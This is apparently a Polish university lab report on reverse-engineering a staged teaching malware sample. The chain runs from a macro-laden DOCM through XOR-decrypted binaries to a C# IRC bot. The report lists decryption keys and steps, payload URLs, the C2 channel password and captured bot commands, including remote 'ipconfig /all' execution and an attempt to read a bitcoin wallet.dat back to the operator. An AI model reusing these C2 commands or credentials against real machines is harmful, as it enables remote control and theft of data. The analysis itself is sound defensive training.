# KRYCY Lab 2 ## Autorzy --- - Marcin Dadura - Maciej Włodarczyk --- ### Wstęp Na laboratoriach zapoznamy się z podstawami analizowania złośliwego kodu wysyłanego przez aktorów cyberprzestrzeni. Postaramy się w odmętach kodu odkryć prawdziwe zamiary przestępców oraz potrzebne nam IOC. ### Stage 1 - Macro DOCM W pierwszym stage-u mieliśmy doczynienia z macrami w pliku docm. Do skryptu visual basic było można dość po wejściu do `Developer tools`. ![](https://i.imgur.com/nKgM8hu.png) Kod w VB był zobfuskowany przez kaczkę. Były tam zaszyfrowane zmienne, znalazły się tam url do pobrania zaszyfrowanego malware, klcuz do odszyfrowania malware. Znalazł się tam również algorytm do deszyfrowania pliku - zreversowalismy go i odszyfrowaliśmy plik w [CyberChef-ie](https://gchq.github.io/CyberChef/#input=MHg2OTZkNjQ2MQ). Widzimy że binarka zaczyna się od `MZ`, znaczy to że poprawnie odszyfrowaliśmy binarke. Kroki do odszyfrowania to: * zaimportowanie pliku do `input` * operacja `XOR` w kluczem ustawionym na `UTF8` * pobranie outputu jako plik ![](https://i.imgur.com/RqXji8S.png) Uzyskane IOC: * URL do zaszyfrowanego pliku `.exe` : [https://blog.duck.edu.pl/wp-content/uploads/2021/11/ofaeJoo6.php](https://blog.duck.edu.pl/wp-content/uploads/2021/11/ofaeJoo6.php) * klucz do odszyfrowania pliku: `QuackingDucks` * SHA256 pliku docm : `09e1a3cf5c37d2354b73c6aacd4d78cb3c2600d5c91088dad9ba957756d0d8e6` * SHA256 pliku zaszyfrowanego : `7cca105fd8286a63b91a510a61a39e9cfe11542fe99cb6d17ce2013a406fd0ec` * SHA256 po odszyfrowaniu pliku: `dc8006b1124ab48de3d261ded650edd852ab2c3d4e0c224fb051807e9412edda` ### Stage 2 - Binarka C++ Drugi stage wymagał użycia narzędzia [ghidra](https://ghidra-sre.org/). W funkcji `WinMain` odnaleźliśmy url do kolejnej zaszyfrowanej binarki. Wchodząc w głąb binarki odnaleźliśmy funkcję `VerySecureEncryption`, która kolejny raz odszyfrowuje binarkę. Kluczem jest pierwsze 16 bajtów z pliku (32 hexy dla tych co nie potrafią liczyć). ![](https://i.imgur.com/1RaxqFB.png) Kroki do odszyfrowania to: * zaimportowanie pliku do `input` * operacja `To Hex` * output przekierowujemy do inputa - `Replace input with output` * operacja `XOR` w kluczem ustawionym na `Hex` i usunięcie z początku binarki 16 bajtów * pobranie outputu jako plik ![](https://i.imgur.com/4DNgu9N.png) ![](https://i.imgur.com/2mvS8wz.png) Do odszyfrowania ponownie użyliśmy [CyberChef-ie](https://gchq.github.io/CyberChef/#input=MHg2OTZkNjQ2MQ). Widzimy że binarka zaczyna się od `MZ`, znaczy to że poprawnie odszyfrowaliśmy binarkę. Uzyskane IOC: * URL do zaszyfrowanego pliku `.exe` : [https://blog.duck.edu.pl/wp-content/uploads/2021/11/kaifu3No.php](https://blog.duck.edu.pl/wp-content/uploads/2021/11/kaifu3No.php) * klucz do odszyfrowania pliku - początkowe 16 bajtów zaszyfrowanego pliku : `65 b6 fd 8c 45 63 4b 93 74 09 31 6b 49 aa 84 c8` * SHA256 pliku zaszyfrowanego : `83dfa6311dbfff2b0af18ae01f61f880d1f914919ce8b66e415dbafbbf31bfa8` * SHA256 po odszyfrowaniu pliku: `2ef563f771540d7f2e78a3cc11dd3b1755c501511a0106e94e1e2022654524fc` ### Stage 3 - Binarka C# Ostatni stage wymaga użycia narzędzia `dnSpy`, gdyż binarka otrzymana w stage-2 jest skompilowana w `C#`. W trakcie reversowania zauważyliśmy, że malware łączy się z serverem C2. Komunikacja odbywa się poprzez IRC w domenie `irc.duck.edu.pl` używając szyfrowania SSL. <!-- Podłączamy się do kanału `#duckbots` po czym uwierzytelniamy się hasłem zdefiniowanym w binarce jako string - `AhFaepo0nahreijakoor7oongei4phah`. --> Do zrozumienia sposobu komunikacji C2 zdebugowaliśmy program ustawiając brakepointy w miejscach wykonania czynności przez bota. Dzięki temu w łatwy sposób w sandboxowym środowisku mogliśmy zrozumieć sposób działania malware. ![](https://i.imgur.com/sUqs4qU.png) Połączenie z serwerem C2 rozpoczyna się od utworzenia Clienta tcp. Serwer przesyła wiadomości NOTICE, po czym przychodzi wiadomość `PING`, na którą odpowiadamy `PONG`. Następnie otrzymujemy serię wiadomości od serwera dotyczących informacji o MOTD - message of the day. Gdy przychodzi ostatnia wiadomość z kodem `376` malware dołącza się do kanału `#duckbots` z hasłem `AhFaepo0nahreijakoor7oongei4phah`. Po dołączeniu się do kanału serwer wysyła w wiadomości z kodem `353` użytkowników na kanale - jest nim `krzys_h`, `BotMaster` oraz sam malware, który dołączył się do kanałi. Gdy przychodzi wiadomość z kodem `366` (koniec listy /NAMES) malware wysyła prywatną wiadomość na kanale `#duckbots` : `PRIVMSG #duckbots :HELLO username=KRYCY Malware RE Lab; computername=KRYCY_LAB_VM`, gdzie username oraz computername wyciągnięte zostały ze zmiennych środowiskowych. Następnie BotMaster odpowiada w wiadomości prywatnej komendami: * ```:BotMaster!BotMaster@172.18.0.1 PRIVMSG #duckbots :BOT2082449278: START http://duck.edu.pl/``` - uruchamia piękny utwór muzyczny * ```:BotMaster!BotMaster@172.18.0.1 PRIVMSG #duckbots :BOT2082449278: WALLPAPER https://blog.duck.edu.pl/wp-content/uploads/2021/11/wallpaper2.jpg``` - ustawianie tapety dostępnej pod linkiem z wiadomości od BotMastera * ```:BotMaster!BotMaster@172.18.0.1 PRIVMSG #duckbots :BOT2082449278: CMD b5603c208d25172d ipconfig /all``` - zawracana jest BotMasterowi konfiguracja sieciowa * ```:BotMaster!BotMaster@172.18.0.1 PRIVMSG #duckbots :BOT2082449278: READFILE 321e133568bae1b3 C:\Users\KRYCY Malware RE Lab\AppData\Roaming\Bitcoin\wallet.dat"``` - próba odczytu portfela bitcoin, na co bot odpowiada, że nie ma takiego pliku (biedak) ```PRIVMSG #duckbots :BotMaster: FILE 321e133568bae1b3 ERROR System.IO.DirectoryNotFoundException: Nie można odnaleźć części ścieżki „C:\\Users\\KRYCY Malware RE Lab\\AppData\\Roaming\\Bitcoin\\wallet.dat”.\r\n w System.IO.__Erooooooor...``` * ```:BotMaster!BotMaster@172.18.0.1 PRIVMSG #duckbots :BOT1351207756: CMD 9f64e981f44250bf ping 8.8.8.8``` - bot pinguje serwer DNS i odpowiada ```BotMaster: OUT e3c55088fd468989 Pinging 8.8.8.8 with 32 bytes of data:``` Następnie bot otwiera stronę, zmienia tapetę oraz wysyła output komendy w postaci. ```BotMaster: OUT b5603c208d25172d ``` ```BotMaster: OUT b5603c208d25172d Windows IP Configuration``` Losowy hex to w PRIVMSG od BotMastera i w odpowiedizach to id generowane losowo przez BotMastera - uzywane jest w celu skojarzenia odpowiedzi z requestem. Gdy już przeanalizowaliśmy malware można pogadać z BotMasterem na IRC. ![](https://i.imgur.com/oNS7idW.png) Jak widać ten sposób komunikacji z nim działa. Jest to komunikacja C2, która pozwala wykonać dowolna komendę na bocie oraz czytać pliki. Głównym celem atakującego jest wylistowanie konfiguracji internetowej oraz portfela bitcoinowego. IOC: * URL : `irc.duck.edu.pl` * kanał IRC: `#duckbots` * hasło do kanału IRC: `AhFaepo0nahreijakoor7oongei4phah` * strona z przekierowaniem : `http://duck.edu.pl` * próba dostępu do pliku o ścieżce : `C:\Users\KRYCY Malware RE Lab\AppData\Roaming\Bitcoin\wallet.dat` * wypisanie konfiguracji sieciowej : `ipconfig /all` * ping serwera DNS : `ping 8.8.8.8` ### Zakończenie Dzięki laboratorium zapoznaliśmy się podstawową analizą złośliwego kodu. Dało nam to obraz jak wygląda praca z takim kodem oraz pozyskiwanie z niego IOC.